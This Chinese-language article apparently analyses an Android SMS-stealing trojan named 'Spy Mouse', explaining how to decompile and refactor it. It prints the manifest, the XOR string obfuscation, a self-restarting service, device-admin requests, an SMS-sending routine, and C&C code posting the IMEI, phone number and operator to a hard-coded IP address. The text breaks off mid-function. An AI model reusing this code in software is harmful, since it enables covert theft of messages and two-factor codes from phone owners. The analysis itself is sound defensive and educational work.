一、概述
在本文中,我们将分析一款Android恶意应用程序。该样本可以在Virusbay中找到,或者可以访问这个本地镜像。这一恶意软件可以窃取短信息,攻击者能够获取到关于特定目标的大量消息,或者可以从受害者的手机上获取双因素认证(2FA)令牌,从而攻破安全性良好的账户。
请注意,在本文中的代码,变量名称都将使用易读的名称。如果变量的名称可以直接从其类型或上下文中派生,那么我们将直接对其进行重命名,不会再特意提到。如果无法明确判断,我们将会进行相应解释。
关于该样本,详细信息如下。
MD5:a1b5c184d447eaac1ed47bc5a0db4725
SHA-1:98bb4315a5ee3f92a3275f08e45f7e35d9995cd2
SHA-256:c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139
文件类型:应用程序/Java压缩包
检测率:32/61
二、工具
要将APK转换为Android Studio项目,所使用的工具是AndroidProjectCreator。请注意,反编译器并不是总能够将SMALI字节码转换为Java。因此,使用不同的反编译器多次对APK进行转换是一个不错的习惯。
在开始分析前,首先检查所有类,因为变量的名称仍然没有改变。如果已经重构了一般的样本,那么新添加的代码可能在之前的阶段就已经被修改过,因为这部分内容没有嵌入到项目中。这方面的一个例子是,如果某个类中的一个函数没有正确反编译,其余函数将被重构。以下是一个例子:
private Context context;
/**
* This is the renamed function, which was previously named "q".
*/
public Context getContext() {
return context;
}
/**
* This is the newly added function, which relies on the original instead of the refactored name.
*/
public String x() {
return q.LAUNCHER_APPS_SERVICE;
}
另外,在此之前,我们已经使用了APKTool获取单个类的SMALI字节码。使用Android Studio,主要是分析并重构Java代码。
三、代码分析的方法论
在分析之前,关于样本内部的信息非常少。为了避免把时间浪费在与研究目标无关的代码上,我们必须事先做出最好的预测和判断。
AndroidManifest.xml提供有关所请求的权限、服务、intent接收器(Intent Receiver)、广播接收器(Broadcast Receiver)的信息。针对代码来说,Main Activity中的onCreate函数是应用程序的起点。因此,我们可以从这里开始调查。
随后,可以深入研究被调用的方法,这些方法可能存在于多个类中。如果只看混淆后的代码,可能无法揭示出代码的作用,因此我们也需要掘地三尺。这样,就可以向上重构代码,因为我们已经清楚了每个函数的内容是什么。
请注意,采用这种方法后,分析速度是呈指数级的。如果我们对样本所知甚少,那么分析每个函数都需要一段时间。由于类会在很多不同的地方重复使用,所以第一次的分析速度最慢。重构的每个部分,会随着对越来越多类的分析而逐渐清晰,从而加快对后续其他类的分析进度。
根据我自己的经验,用两个整天的时间通常足以重构整个样本。在第一天后,感觉只完成了很少的工作。但在第二天,就会补上所有缺失的拼图。
四、反编译APK
首先,将会对manifest进行分析。之后,将会分析并重构Java代码。在本文的分析过程中,我们没有提及错误的操作,从而避免对大家造成混淆。请注意,名为android的包中包含应用程序所使用的默认Android类。因此,这个包也超出了涉及的范围。
五、Manifest
在manifest中,揭示了许多关于应用程序的信息,因此我们要首先分析这个文件。下面展示了完整的manifest。
<?xml version="1.0" encoding="utf-8"?>
<manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="9" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.GET_TASKS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_LOGS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true">
<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" />
<service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" />
<receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.SCREEN_ON" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
<receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN">
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
<meta-data android:name="stopOnDeviceLock" android:value="false" />
<meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
<meta-data android:name="preventRestart" android:value="true" />
<intent-filter>
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
<receiver android:name="org.starsizew.Ma">
<intent-filter android:priority="100">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
</manifest>
从上述manifest可以看到,请求的权限如下:
CALL_PHONE
SEND_SMS
WRITE_SMS
READ_SMS
GET_TASKS
ACCESS_NETWORK_STATE
READ_PHONE_STATE
RECEIVE_SMS
WRITE_EXTERNAL_STORAGE
INTERNET
RECEIVE_BOOT_COMPLETED
READ_LOGS
READ_CONTACTS
根据上述信息,可以看到,恶意软件能够拨打任意电话号码,也可以向指定号码发送短信。此外,恶意软件可以接收和阅读短信。网络状态检查用于确认手机是否联网,网络许可用于与在线服务进行交互。
GET_TASKS和READ_LOGS都需要使用提升后的权限。这意味着,应用程序必须是固件的一部分,或者应该安装在特权分区上。读取设备上其他应用程序的日志需要READ_LOGS权限,而获取最近执行的任务列表需要GET_TASKS权限。
应用程序的主要活动也会在manifest中定义,如下所示。
<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
android:name字段包含类的路径,其中的一个点就代表一个新的包(Package)。android:label=”@string/app_name”的值会自动显示在Android Studio中,但也可以在res/values/strings.xml文件中找到,如下所示。
<string name="app_name">Spy Mouse</string>
每当设备启动、屏幕打开或者是按下主页按钮时,都会用到一个名为Ac的类。
<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.SCREEN_ON" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
使用设备管理权限的类名为Aa。下面是从manifest中节选的部分代码。
<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN">
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
<meta-data android:name="stopOnDeviceLock" android:value="false" />
<meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
<meta-data android:name="preventRestart" android:value="true" />
<intent-filter>
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
Manifest的最后一部分,用于捕获有关新收到的短信的intent,Ma类负责处理该消息。根据预先设定的优先级,这一应用程序比其他应用程序会更早处理intent,除非另一个应用程序的优先级更高。
<receiver android:name="org.starsizew.Ma">
<intent-filter android:priority="100">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
六、源代码分析
要分析源代码,不仅仅要靠分析人员的预感,更重要的是应该根据事实做出合理判断,从而得到最好的结果。
6.1 MainActivity
MainActivity中的onCreate函数负责启动服务,设置重复警报,并检查是否授予了管理权限。根据是否授予管理权限,将执行函数q。其反编译后的源代码如下。
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(2130903040);
Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));
((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
q();
}
}
6.1.1 函数q
函数q启动了向管理员组添加新设备管理员的intent。
private void q() {
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
startActivityForResult(intent, 100);
}
Aa类如下:
public class Aa extends DeviceAdminReceiver {
public void onDisabled(Context context, Intent intent) {
super.onDisabled(context, intent);
}
public void onEnabled(Context context, Intent intent) {
super.onEnabled(context, intent);
}
public void onPasswordChanged(Context context, Intent intent) {
super.onPasswordChanged(context, intent);
}
}
这个类是DeviceAdminReceiver的包装器(Wrapper),这也就是它可以重构为DeviceAdminReceiverWrapper的原因。
6.1.2 字符串解密
在MainActivity类中,有一个名为q的全局变量,它是加密的。要对其进行解密,可以利用另一个名为q的函数完成,二者都需要不同的参数。具体代码如下:
private static final String[] q = new String[]{q(q("-]aKu001f/Yxnu0010blU!!")), q(q("-Cuu0017u0011%I?u0004u000e<u0003tu001dn>L?"))};
private static String q(char[] cArr) {
int length = cArr.length;
for (int i = 0; length > i; i++) {
int i2;
char c = cArr[i];
switch (i % 5) {
case 0:
i2 = 76;
break;
case 1:
i2 = 45;
break;
case 2:
i2 = 17;
break;
case 3:
i2 = 101;
break;
default:
i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
break;
}
cArr[i] = (char) ((char) (i2 ^ c));
}
return new String(cArr).intern();
}
private static char[] q(String str) {
char[] toCharArray = str.toCharArray();
if (toCharArray.length < 2) {
toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
}
return toCharArray;
}
请注意,TransportMediator.KEYCODE_MEDIA_PLAY的值等于126。在Android Studio中,可以使用CTRL,并单击KEYCODE_MEDIA_PLAY枚举值来检查此值。
可以通过初始化变量并打印值来解密字符串数组。能够编译并执行Java代码的IDE,也可以执行所需的操作。字符串数组的解密值如下所示,其中每一行都是数组中的不同索引,从0开始。
app.action.ADD_
android.app.extra.
6.2 寻找引用
在onCreate函数中,某些函数需要字符串作为参数。DevicePolicyManager的函数getSystemService,需要一个类似于所请求服务名称的字符串。
Protected void onCreate(Bundle bundle){
//[omitted]
applicationContext.startService(new Intent(applicationContext, Tb.class));
((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
If (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
q();
}
}
在检查名为o的类时,我们发现有很多公用字符串被加密。完整的类如下:
Package org.starsizew;
Public final class o {
Public static String E = new StringBuilder(q(q("}5u0005"))).append(f).append(q(q("C0"))).toString();
Public static String Q = (b + y + o + y + q(q("C1u00031hL")) + y + s);
Public static String R = q(q("ru001d$f"));
Public static String T = q(q("V;u001a="));
Public static String W = q(q("C>u0016*j"));
Public static int Y;
Public static String a = (b + q(q("f3u0007()G*u0003*f")));
Public static String b = q(q("C<u0013*hK6"));
Public static String c = q(q("R:u00186b"));
Public static String d = q(q("V7u001b"));
Public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
Public static String f = "";
Public static String g = q(q("u001bbG"));
Public static String h = q(q("Q?u0004"));
Public static String i = (b + y + o + y + q(q("C1u00031hL|u0002+tF|u00186")));
Public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}u00002u001bBku00042u001c"))).toString();
Public static String k = q(q("C0u0018*s"));
Public static String l = q(q("` u00189cA3u0004,"));
Public static String m = q(q("eu0017#"));
Public static String n = (p + q(q("}"u00184nA+")));
Public static String o = q(q("K<u0003=iV"));
Public static String p = q(q("F7u00011dG"));
Public static String q = (b + q(q("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + j);
Public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("Gr"))).toString();
Public static String s = q(q("au0013;u0014"));
Public static String t = new StringBuilder(q(q("M"u0012"))).append(f).append(q(q("P3"))).append(f).append(q( q("V=u0005"))).toString();
Public static String u = (T + q(q("}"u0012*")) + f + q(q("G:u0001")));
Public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}u00133u0015Nl"))).toString();
Public static String w = q(q("v7u000f,JG!u00049`G"));
Public static int x = 1;
Public static String y = ".";
Public static int z = 0;
Private static String q(char[] cArr) {
Int length = cArr.length;
For (int i = 0; length > i; i++) {
Int i2;
Char c = cArr[i];
Switch (i % 5) {
Case 0:
I2 = 34;
Break;
Case 1:
I2 = 82;
Break;
Case 2:
I2 = 119;
Break;
Case 3:
I2 = 88;
Break;
Default:
I2 = 7;
Break;
}
cArr[i] = (char) ((char) (i2 ^ c));
}
Return new String(cArr).intern();
}
Private static char[] q(String str) {
Char[] toCharArray = str.toCharArray();
If (toCharArray.length < 2) {
toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
}
Return toCharArray;
}
}
在使用两个给定的解密函数(均命名为q)解密所有字符串,并根据输出结果重构名称后,这些变量就看起来更有意义了,如下所示:
package org.starsizew;
public final class StringDatabase {
public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL")) + dot + CALL);
public static String POST = decryptCharArray(decryptString("ru001d$f"));
public static String time = decryptCharArray(decryptString("V;u001a="));
public static String alarm = decryptCharArray(decryptString("C>u0016*j"));
public static int integerZero;
public static String AndroidAppExtra = (android + decryptCharArray(decryptString("f3u0007()G*u0003*f")));
public static String android = decryptCharArray(decryptString("C<u0013*hK6"));
public static String phone = decryptCharArray(decryptString("R:u00186b"));
public static String tel = decryptCharArray(decryptString("V7u001b"));
public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
public static String emptyString = "";
public static String integer900 = decryptCharArray(decryptString("u001bbG"));
public static String sms = decryptCharArray(decryptString("Q?u0004"));
public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL|u0002+tF|u00186")));
public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}u00002u001bBku00042u001c"))).toString();
public static String abort = decryptCharArray(decryptString("C0u0018*s"));
public static String Broadcast = decryptCharArray(decryptString("` u00189cA3u0004,"));
public static String GET = decryptCharArray(decryptString("eu0017#"));
public static String device_policy = (device + decryptCharArray(decryptString("}"u00184nA+")));
public static String intent = decryptCharArray(decryptString("K<u0003=iV"));
public static String device = decryptCharArray(decryptString("F7u00011dG"));
public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + SMS_RECEIVED);
public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("Gr"))).toString();
public static String CALL = decryptCharArray(decryptString("au0013;u0014"));
public static String operator = new StringBuilder(decryptCharArray(decryptString("M"u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=u0005"))).toString();
public static String time_perehv = (time + decryptCharArray(decryptString("}"u0012*")) + emptyString + decryptCharArray(decryptString("G:u0001")));
public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}u00133u0015Nl"))).toString();
public static String TextMessage = decryptCharArray(decryptString("v7u000f,JG!u00049`G"));
public static int integerTrue = 1;
public static String dot = ".";
public static int integerFalse = 0;
//Decryption functions are omitted for brevity
}
6.3 主服务
onCreate函数使用的下一个类,称为Tb。该类作为服务启动,如下所示:
Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));
服务中包含的三个函数,具体解释如下。需要注意的是,与前面描述的类一样,这里使用了与字符串相同的加密技术。从这个类开始,由于每个类中的方法都相同,因此我们不会再赘述解密的过程。
6.3.1 onCreate
onCreate函数中包含一个名为q的布尔值,以及一个名为w的SharedPreferences对象,并使用类u来启动一个新的线程(Thread)。其代码如下:
public void onCreate() {
super.onCreate();
q = true;
this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
new Thread(new u(this)).start();
}
布尔型变量q也用在onDestroy函数中,并且它的值为false。因此,该布尔值用于确定服务是否正在运行,它可以使用名称isActive进行重构。
我们可以在res/public.xml和res/strings.xml中找到一个字符串,该字符串以十进制表示后时2131099651.需要注意的是,代码中的十进制值在XML文件中是以十六进制表示的。当转换为十六进制时,其值等于0x7F060003。XML文件中的值如下所示。
[public.xml]
<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" />
[strings.xml]
<string name="PREFS_NAME">AppPrefs</string>
如果可以加载配置文件,那么恶意程序此前已经处于活动状态,并且可以加载最新的已知配置。
后续,我们将分析用于启动新线程的类。
6.3.2 onBind
该函数没有在服务中实现,因为它只能返回异常。代码如下:
public IBinder onBind(Intent intent) {
throw new UnsupportedOperationException(stringError);
}
请注意,之所以将字符串命名为stringError,是因为在解密时,其中会包含字符串Error。
6.3.3 onDestroy
现在,布尔型的isActive已经有了新的名称,因为它在onCreate函数的分析过程中已经被更改。它声明的intent用于启动名为Tb的服务。这与目前我们正在分析的服务相同。如果服务关闭,则它会自动重启。该功能的代码如下:
public void onDestroy() {
super.onDestroy();
isActive = false;
Intent intent = new Intent(this, Tb.class);
intent.setFlags(268435456);
startService(intent);
}
请注意,268435456实际上等于0x10000000,这是FLAG_ACTIVITY_NEW_TASK的常量值,我们可以在Android开发者网站上看到。由于这一标志的存在,服务将作为应用程序中的新任务而启动。
6.3.4 主服务
该服务可以重命名为MainService,因为它是恶意程序内部的主要服务,负责保持自身功能,并确保恶意程序内部工作一切正常。
6.4 新线程u
在MainService类的onCreate函数中,创建了一个新线程u,具体如下:
package org.starsizew;
final class u implements Runnable {
final Mainservice mainService;
u(Mainservice mainService) {
this.mainService = mainService;
}
public final void run() {
this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
}
}
一开始,Android Studio会产生一个错误。这是由于一个反编译的错误,其中MainService类中的两个字段,都设置为private,而实际上它们应该是public或者protected。在下面的代码中,给出了public的两个字段:
public Handler r = new Handler();
public Runnable t = new w(this);
现在,新的类u更具可读性,如下所示:
package org.starsizew;
final class u implements Runnable {
final Mainservice mainService;
u(Mainservice mainService) {
this.mainService = mainService;
}
public final void run() {
this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
}
}
名为r的处理程序可以重新命名为handler。由于目前尚不清楚w类的作用,因此无法对runnable进行重命名。要了解u的作用,首先我们需要知道w的作用。请注意,这里的StringDatabase.integerFalse等于0。处理程序启动runnable的延迟等于0毫秒。
6.5 类w
类w是可以运行的,这也就意味着,它是作为线程启动的。线程在启动时运行run方法。除了解密功能之外,这个类中没有其他任何内容,具体如下:
public final void run() {
boolean z = MainService.e;
if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
Editor edit = this.mainService.sharedPreferences.edit();
edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
edit.putString(StringDatabase.inst, "1");
edit.putLong(StringDatabase.time_perehv, 100);
edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
edit.apply();
}
List arrayList = new ArrayList();
if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
} else {
new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
}
this.mainService.handler.postDelayed(this, (long) Constants.int50005);
if (z) {
StringDatabase.integerZero++;
}
}
在后面,我们将会分析函数a所在的类q。函数的上下文目前已经提供了足够的可供分析的内容。
这个类是一个例子,说明了从名为w的字符串数组中替换字符串的重要性。这样一来,就能让我们看到更加清晰的代码。优化后的版本如下:
public final void run() {
boolean z = MainService.e;
if (!this.mainService.sharedPreferences.contains("one_inst")) {
Editor edit = this.mainService.sharedPreferences.edit();
edit.putInt("one_inst1");
edit.putString("url", "http://37.1.207.31/api/?id=7");
edit.putString("inst", "1");
edit.putLong("time_perehv", 100);
edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
edit.apply();
}
List arrayList = new ArrayList();
if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
} else {
new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
}
this.mainService.handler.postDelayed(this, 50005);
if (z) {
StringDatabase.integerZero++;
}
}
首先,检查共享首选项文件是否包含密钥,密钥其中应该包含字符串one_inst。如果为false,则使用C&C URL、布尔型installation变量、time_perehv、ID以及设备的IMEI来实例化首选项文件。
如果共享首选项文件中包含one_inst值,或者在设置共享首选项文件之后,那么会使用完全相同但只有一个参数不同的参数调用类i,不同的参数是第三个,可以是install,也可以是info。但在分析类i之前,首先将分析类a。
6.6 类a
在该类中,包含了两个名为q的函数。请注意,为了简洁起见,我们省略了字符串数组及其解密方法。
第一个函数需要一个上下文对象作为参数:q(Context context)。该功能非常简单,如下所示:
static TelephonyManager q(Context context) {
return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}
首先,请求系统服务电话,这样的功能显而易见。此外,我们可以看一下类型转换,它等同于TelephonyManager。我们对这部分代码进行修改,使其更具可读性,如下所示:
static TelephonyManager getTelephonyManager(Context context) {
return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}
第二个函数需要两个字符串作为参数:q(String str, String str2)。此外,代码使用反射来调用方法。代码具体如下,其中已经替换了字符串数组中的解密字符串。
public static boolean q(String str, String str2) {
try {
Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
Object[] objArr = new Object[5];
objArr[0] = str;
objArr[2] = str2;
method.invoke(invoke, objArr);
} catch (Exception e) {
}
return false;
}
调用的函数来自android.telephony.SmsManager,命名为sendTextMessage。我们快速浏览SmsManager类的Android开发者页面,可以找到以下信息:
public void sendTextMessage (String destinationAddress,
String scAddress,
String text,
PendingIntent sentIntent,
PendingIntent deliveryIntent)
其中,变量str和str2是方法的第一个和第三个参数。第一个参数是destinationAddress,第三个参数是短信息的文本。该函数使用指定正文,将文本消息发送到指定号码。经过重新编写后的方法如下:
public static boolean sendSms(String destinationAddress, String text) {
try {
Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
Object[] objectArray = new Object[5];
objectArray[0] = destinationAddress;
objectArray[2] = text;
methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
} catch (Exception e) {
}
return false;
}
在这个类中,包装了TelephonyManager,这也就是为什么我们将其重命名为TelephonyManagerWrapper的原因。
6.7 类i
这个类是AsyncTask,意味着它会在应用程序的后台运行。AsyncTask的生命周期有四个阶段:
1、onPreExecute,用于准备稍后使用的类中的任意内容。
2、doInBackground,这是任务的主要部分。
3、onProgressUpdate,用于更新UI。此方法通常在恶意软件中被删去,因为任务需要保持隐藏状态。
4、onPostExecute,在doInBackground函数完成后执行。
doInBackground方法被正确反编译,但onPostExecute方法无法使用JAD-X、JD-CMD、Fernflower、CFR或包含使用dex2jar制作的JAR的Procyon进行反编译。如果使用enjarify来生成JAR,结果与之前相同。在后面,我们会详细介绍onPostExecute函数。
6.7.1 doInBackground
doInBackground函数如下所示。为了完全理解它的作用,我们首先需要分析类t。
protected final Object doInBackground(Object[] objArr) {
Object obj = null;
boolean z = true;
boolean z2 = MainService.e;
String str = ((String[]) objArr)[StringDatabase.integerFalse];
t tVar = new t();
this.e.add(new BasicNameValuePair("method", this.r));
this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
if (this.r.startsWith("install")) {
String str2 = "POST";
this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
this.e.add(new BasicNameValuePair("model", Build.MODEL));
this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
this.e.add(new BasicNameValuePair("version", s.w));
this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
obj = t.q(str, "POST", this.e);
} else if (this.r.startsWith("info")) {
obj = t.q(str, "POST", this.e);
} else if (this.r.startsWith("sms")) {
obj = t.q(str, "POST", this.e);
}
if (StringDatabase.integerZero != 0) {
if (z2) {
z = false;
}
MainService.e = z;
}
return obj;
}
在分析t之后,我们会给出新版本的doInBackground函数,并对该类进行详细分析。
6.8 类t
类t中的函数q将在下面给出。需要注意的是,其中的某些变量已根据其类型来重新命名。下面将会进一步解释其中的变化。
public static JSONObject q(String url, String var1, List var2) {
boolean var10001;
label66:
{
DefaultHttpClient defaultHttpClient;
try {
if (var1 == "POST") {
defaultHttpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
httpPost.setEntity(urlEncodedFormEntity);
inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
break label66;
}
} catch (Throwable var12) {
var10001 = false;
break label66;
}
try {
if (var1 == "GET") {
defaultHttpClient = new DefaultHttpClient();
String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
StringBuilder var3 = new StringBuilder(String.valueOf(url));
HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
}
} catch (Throwable var11) {
var10001 = false;
}
}
label55:
{
BufferedReader var14;
StringBuilder var20;
try {
InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
var14 = new BufferedReader(var18, 8);
var20 = new StringBuilder();
} catch (Throwable var10) {
var10001 = false;
break label55;
}
while (true) {
try {
var1 = var14.readLine();
} catch (Throwable var8) {
var10001 = false;
break;
}
if (var1 == null) {
try {
inputStream.close();
w = var20.toString();
break;
} catch (Throwable var7) {
Throwable var15 = var7;
try {
throw var15;
} catch (Throwable var6) {
var10001 = false;
break;
}
}
}
try {
var20.append(var1).append("n");
} catch (Throwable var9) {
var10001 = false;
break;
}
}
}
try {
JSONObject var16 = new JSONObject(w);
jsonObject = var16;
} catch (Throwable var5) {
}
return jsonObject;
}
这个函数中有三个参数,第一个是URL,可以在HTTP POST构造函数中看到(需要一个URL)。然后使用编码后的参数附加URL,以避免在接收端出现错误。提供的方法是可以从if语句中派生的第二个参数,然后比较给定的字符串是GET还是POST。第三个参数是真正意义上的参数,它会被编码并附加到URL。服务器的响应将作为JSONObject返回。修改后的该方法如下:
public static JSONObject callC2(String url, String httpMethod, List parameters) {
boolean var10001;
label66:
{
DefaultHttpClient httpClient;
try {
if (httpMethod == "POST") {
httpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
httpPost.setEntity(urlEncodedFormEntity);
inputStream = httpClient.execute(httpPost).getEntity().getContent();
break label66;
}
} catch (Throwable throwable) {
var10001 = false;
break label66;
}
try {
if (httpMethod == "GET") {
httpClient = new DefaultHttpClient();
String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
inputStream = httpClient.execute(httpGet).getEntity().getContent();
}
} catch (Throwable throwable) {
var10001 = false;
}
}
label55:
{
BufferedReader bufferedReader;
StringBuilder stringBuilder;
try {
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
bufferedReader = new BufferedReader(inputStreamReader, 8);
stringBuilder = new StringBuilder();
} catch (Throwable var10) {
var10001 = false;
break label55;
}
while (true) {
try {
httpMethod = bufferedReader.readLine();
} catch (Throwable throwable) {
var10001 = false;
break;
}
